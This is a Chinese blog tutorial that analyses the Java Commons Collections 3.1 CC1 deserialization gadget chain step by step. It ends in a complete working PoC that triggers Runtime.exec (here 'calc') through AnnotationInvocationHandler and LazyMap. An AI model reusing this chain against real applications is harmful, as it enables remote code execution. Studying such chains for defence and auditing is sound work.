前言
学习Java基础语法也有1年多的时间了,Java安全基础也学了有半年了,期间通过ctf赛题学习过fastjson的反序列化并了解了其利用链,但并未深入学习并记录笔记。
一直都说要赶紧审计java的反序列化利用链,但老是一推再推,让这篇文章开个头,步入学习java审计的开始!
Java反序列化基础
学习过PHP反序列化我们应该清楚,反序列化其实就是将对象转换成字符序列的一个过程,序列化则是一个反向的过程。在PHP中一个对象在进行反序列化时会执行自身的__wakeup
方法,而在Java中有这样一对方法:writeObject
和readObject
,不难看出在Java对象进行序列化时会执行writeObject
方法,而在反序列化过程中执行readObject
方法。下面我们就来举例说明:
首先需要定义一个可序列化的类,在Java中,当一个类实现了Serializable
接口时该类才可以被序列化,然后我们通过覆写writeObject
和 readObject
方法来验证刚才所说的内容。
编写User.java
import java.io.Serializable;
public class User implements Serializable {
private void writeObject(java.io.ObjectOutputStream stream) throws Exception {
stream.defaultWriteObject();
System.out.println("成功进行了序列化!");
}
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
System.out.println("成功进行了反序列化!");
}
}
编写测试类Demo.java
import java.io.*;
public class Demo {
public static void main(String[] args) {
// 定义User类
User user = new User();
// 序列化过程
try {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(user);
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化过程
try {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行结果如下图:
分析前的准备
漏洞组件:CommonsCollections 3.1 - 3.2.1
使用jdk版本为1.7,cc1在jdk8u71之后已经修复不可利用,在oracle中已经下载不到8u71之前的版本了,所以使用java7!
下载链接:https://www.oracle.com/cn/java/technologies/downloads/archive/
使用IDEA创建Maven项目,并在pom.xml中引入漏洞组件
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
利用链分析
在ysoserial中可以看到cc1的利用链如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
InvokerTransformer
通过利用链进行逆推,成因主要由InvokerTransformer.transform()
方法导致
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
该方法传入一个对象input,并通过反射执行了自定义方法,所有的参数都是控的!
我们想要通过transform
方法进行命令执行,则需要构造Runtime.getRuntime().exec("calc")
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
// Runtime.getRuntime().exec("calc");
}
}
执行结果如下图:
当然也可以使用InvokerTransformer.transform()
获取Runtime.getRuntime()
,这里先来温习一遍如何通过反射进行Runtime
类命令执行
import java.lang.reflect.Method;
public class ReflectClass {
public static void main(String[] args) throws Exception{
// 获取Runtime.class
Class clazz = Class.forName("java.lang.Runtime");
// 获取Runtime的getRuntime方法
Method getRuntime = clazz.getMethod(null);
// Method getRuntime = clazz.getMethod("getRuntime"); //getRuntime为静态方法
// 获取Runtime的exec方法
Method exec = clazz.getMethod("exec", String.class);
// 执行Runtime的getRuntime方法,并将返回的Runtime实例化对象执行exec方法
exec.invoke(getRuntime.invoke(clazz), "calc");
}
}
通过温习Runtime
类命令执行我们可以得到如下三个部分:
第一部分:通过传入Runtime执行getMethod获取getRuntime方法
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Object transform = getMethod.transform(Runtime.class);
第二部分:通过invoke方法执行getRuntime方法,返回Runtime实例化对象
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Object transform1 = invoke.transform(transform);
第三部分:然后通过Runtime实例化对象执行exec方法
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(transform1);
ConstantTransformer
查看ConstantTransformer.transform
方法
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
很简单,就是将传入的对象返回出来,所以就有了如下代码来替代Runtime.class
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object payload = constantTransformer.transform("payload");
ChainedTransformer
查看ChainedTransformer.transform
方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
该类传入的时一个Transformer[]
的类对象数组,在transform
方法中则是递归执行数组中每一个对象的transform
方法。
现在我们的POC如下:
public class Demo {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object payload = constantTransformer.transform("payload");
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Object transform = getMethod.transform(payload);
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Object transform1 = invoke.transform(transform);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(transform1);
}
}
不难看出一共有4个部分,后一个部分的transform
参数总是上一部分的transform
方法返回值,所以这里我们使用ChainedTransformer.transform
方法就可以将其浓缩成如下代码:
public class Demo {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform("payload");
}
}
利用链的前半部分算是解决了,但是没有办法通过反序列化来触发readObject
方法来进行利用,所以我们还需要继续找一找。使用IDEA的Alt+F7
查看transform
方法还在哪里调用过:
尝试自行逆推
这里找的时候我们需要注意的当然就是参数可控,怎么样可以让执行transform
方法的对象是可控的,所以总是需要看一下构造函数~
Collections
这里我们找到一个Collections.collect
方法
该类构造函数为空,参数通过collect
方法传入
public CollectionUtils() {
}
public static Collection collect(Iterator inputIterator, final Transformer transformer, final Collection outputCollection) {
if (inputIterator != null && transformer != null) {
while (inputIterator.hasNext()) {
Object item = inputIterator.next();
Object value = transformer.transform(item);
outputCollection.add(value);
}
}
return outputCollection;
}
然后编写代码尝试去利用
chainedTransformer.transform("payload");
List<String> payload = Collections.singletonList("payload");
CollectionUtils collectionUtils = new CollectionUtils();
collectionUtils.collect(payload.iterator(), chainedTransformer, payload);
成功利用,之后再看看collect方法在哪里调用过
可以看出这条路行不通~
TransformingComparator
TransformingComparator.compare
方法
查看构造方法:
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
我们发现参数都是可控的,利用起来也比较简单
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
transformingComparator.compare("payload1", "payload2");
裂开了,这个查出来的太多了...
这里就先找俩个学习学习,这里不止这俩个,还有TransformedPredicate.evaluate
、TransformerClosure.execute
等都可以实现transform
方法的利用。
LazyMap
开始步入正题,LazyMap.get
方法也可以实现transform
的利用
查看可以用的构造方法和可利用的get
方法:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这里的逻辑也比较简单,当传入的Map中不存在传入的key
键就会触发transform
方法
但是这里LazyMap
的构造方法是私有的,这里需要利用它的decorate
方法进行返回LazyMap
对象,poc如下:
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
decorate.get("payload");
到这里当我准备查看get
方法的调用情况时,觉得自己还是太菜鸡了~,像get这种的调用情况简直是so much
(so many
用来修饰可数名词,so much
用来修饰不可数名词)
AnnotationInvocationHandler
通过利用链可知,其中用到了AnnotationInvocationHandler
查看该类,其中包含readObject
方法,并且在invoke
方法中调用了get
方法,通过学习《Java动态代理机制》我们可以知道,实现了InvocationHandler
接口的类为代理类,当被代理类执行接口方法时则会执行代理类的invoke
方法。
查看构造方法:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
在invoke
方法的78行调用了this.memberValues.get
方法,通过构造方法可知该参数可控。
这里写一下poc:
// 获取AnnotationInvocationHandler的构造器
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
// 通过构造器来创建类对象实例
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
// 设置代理
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
// 触发代理类invoke方法
map.clear();
// map.entrySet() 也可以,都是Map的接口方法
这里创建类对象实例时,传入的第一个参数为
Override.class
,构造函数中类型为Class<? extends Annotation>
,Annotation
是一个接口,所有的注解都继承了该接口
但是到这里尽管这样,我们也没有办法直接利用反序列化readObject来实现漏洞利用,现在来看一下readObject
方法,在325行发现调用了this.memberValues.entrySet()
entrySet()
也是Map的接口方法,如果这里的this.memberValues
是刚刚定义的map
,则可以通过readObject
触发漏洞,所以我们再次创建一个AnnotationInvocationHandler
类对象实例,并将map
传入即可
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, map);
然后在继续写入序列化和反序列化操作
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(invocationHandler1);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
最终POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
public class Demo {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, map);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(invocationHandler1);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
标签:Class,Java,InvokerTransformer,Object,transform,class,new,序列化,CommonsCollections1
From: https://www.cnblogs.com/seizer/p/17058087.html